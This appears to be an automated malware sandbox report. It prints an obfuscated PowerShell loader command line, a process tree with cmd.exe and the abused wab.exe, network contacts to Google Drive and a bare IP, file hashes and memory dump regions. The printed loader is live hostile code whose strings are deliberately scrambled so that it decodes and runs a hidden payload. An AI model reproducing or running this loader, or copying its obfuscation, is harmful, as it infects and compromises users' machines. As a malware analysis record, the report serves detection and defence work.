(!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 110.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 225.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 215.191.184.137.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp

Files

memory/1328-2-0x00007FFDDA093000-0x00007FFDDA095000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clse1n1r.bbq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1328-12-0x000001B5EC520000-0x000001B5EC542000-memory.dmp

memory/1328-13-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

memory/1328-14-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

memory/1328-16-0x00007FFDDA093000-0x00007FFDDA095000-memory.dmp

memory/1328-17-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

memory/2604-19-0x0000000003000000-0x0000000003036000-memory.dmp

memory/2604-20-0x0000000005BD0000-0x00000000061F8000-memory.dmp

memory/2604-21-0x0000000005A50000-0x0000000005A72000-memory.dmp

memory/2604-22-0x0000000005AF0000-0x0000000005B56000-memory.dmp

memory/2604-23-0x0000000006200000-0x0000000006266000-memory.dmp

memory/2604-33-0x0000000006330000-0x0000000006684000-memory.dmp

memory/2604-34-0x0000000006930000-0x000000000694E000-memory.dmp

memory/2604-35-0x0000000006960000-0x00000000069AC000-memory.dmp

memory/2604-36-0x00000000082C0000-0x000000000893A000-memory.dmp

memory/2604-37-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

memory/2604-38-0x0000000007C40000-0x0000000007CD6000-memory.dmp

memory/2604-39-0x0000000007B40000-0x0000000007B62000-memory.dmp

memory/2604-40-0x0000000008940000-0x0000000008EE4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Sjaelelivets.Son

MD5 d952477f892ae0e25f9facc609554a0d
SHA1 617591cade5b3efd2906e8ce468e7cf7d88f7539
SHA256 f36ff78fac53b01ed65ec3678ee315acb92a630521c94da29a3cc57fe61520ba
SHA512 2f755f0c4e8bab2310b3573ea0c84a18cf1baed9e37af96105b59648bf7639506bd5323b225f22e9d871bac2bd54837ec37b04d714d373106b1575f261d671d8

memory/2604-42-0x0000000008EF0000-0x000000000C612000-memory.dmp

memory/3788-44-0x0000000000400000-0x00000000005E4000-memory.dmp

memory/3788-57-0x0000000000900000-0x0000000004022000-memory.dmp

memory/1328-60-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b